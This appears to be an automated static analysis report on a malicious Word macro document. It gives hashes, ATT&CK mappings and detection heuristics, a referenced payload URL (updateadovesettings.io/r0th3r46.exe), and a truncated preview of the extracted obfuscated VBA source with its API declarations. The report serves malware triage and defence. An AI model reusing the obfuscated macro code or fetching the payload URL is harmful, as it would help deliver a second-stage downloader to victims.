Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f09065a010f9ace9…

MALICIOUS

Office (OOXML)

38.6 KB Created: 2018-11-07 14:35:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-12
MD5: 8c31b074f6b76b7e29bffbee07bf34e4 SHA-1: bc24045f98a931b97db844d567c9092481db1897 SHA-256: f09065a010f9ace98c69ae885ccd68561888154f8cd9211f767215ab1dcd3a92
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that executes upon opening the document. This macro uses the Shell() function to download and execute a payload from an obfuscated URL. The presence of a Document_Open macro and the use of Shell() are strong indicators of malicious intent, likely for delivering a second-stage malware.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://updateadovesettings.io/r0th3r46.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 36036 bytes
SHA-256: b65186ff200944b1f20b07e50dcab3df060c3e3bb091b59f0498cee8dd938183
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 15 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const tbtbxTznWeoCkQXtrnIQSlCGgBXNZROqSBqkiHVwzRAJDPRvjf = 598254315
Const wEmdOcOVXjfQbQepSSTTAYHYnv2423 = 625
Const vlNEPyYoLkPcKtuuCWpFktXGzvWcXxNpTg868257834 = 84


#If VBA7 Then
Private Declare PtrSafe Function eLMlvAdadBILukoSMpwqIDYVbPrSxIOQmVHl Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function hpRiATSSrYpWLDnIbAxcaFeCLyYVoMlmfKUN Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare PtrSafe Function JRzFLLpbeRwtxmrRgjeLMlvAdadBILukoSMp Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function VvJieaxacOqWxnvUjZpMlzTGcLEgTnMSRmHh84 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare PtrSafe Function VvJieaxacOqWxnvUjZ969 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare PtrSafe Function VvJieaxacOqWxnvUjZknOOhGywVqmXmqbfPJ Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function eLMlvAdadBILukoSMpwqIDYVbPrSxIOQmVHl Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function hpRiATSSrYpWLDnIbAxcaFeCLyYVoMlmfKUN Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare Function JRzFLLpbeRwtxmrRgjeLMlvAdadBILukoSMp Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function VvJieaxacOqWxnvUjZpMlzTGcLEgTnMSRmHh84 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare Function VvJieaxacOqWxnvUjZ969 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function VvJieaxacOqWxnvUjZknOOhGywVqmXmqbfPJ Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#End If


Private Const zWzyvuTlYyGNuMUBuV = 6
Const FUbwROXZJeaKkYHXC3995001297597704 = 5
Private Const kJePSCbSFCpIaFeFBypLCN598254315 = 98
Const wqIDYVbPrSxIOQmVHl21118822 = 17511598
Private Const xcaFeCLyYVoMlmfKUN413317057049 = 625

Const IVZmbQEnqeIcufVNchzWoRwNLZXDHPuxye = 6783
Const DcbXoNLLlxZtiKsS8344 = 781699348
Const bOmdEqcYBdJgnYXw0257 = 67


#If VBA7 Then
Private Declare PtrSafe Function oGnuGiTlDQmIBtHlTvuzXYYujdiLRWsDGyQr Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function UcyJSnrOGfnoJDsEnwMRwvIuMKrDqsQFPQwf Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare PtrSafe Function ZtQpANBJFanZwjpGJJoGnuGiTlDQmIBtHlTv Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function lABPauxKipqOKAcFvwKxryMxqEosMhQFNffW67 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare PtrSafe Function lABPauxKipqOKAcFvw894 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare PtrSafe Function lABPauxKipqOKAcFvwbBajIKTiwpyQfdihox Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function oGnuGiTlDQmIBtHlTvuzXYYujdiLRWsDGyQr Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function UcyJSnrOGfnoJDsEnwMRwvIuMKrDqsQFPQwf Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare Function ZtQpANBJFanZwjpGJJoGnuGiTlDQmIBtHlTv Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 72704 bytes
SHA-256: 2f81cdfd03d6cf4d35531b1cfd3f6d61275067eab451359e72d75902a1bcc1ab
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 15 long base64-like blob(s).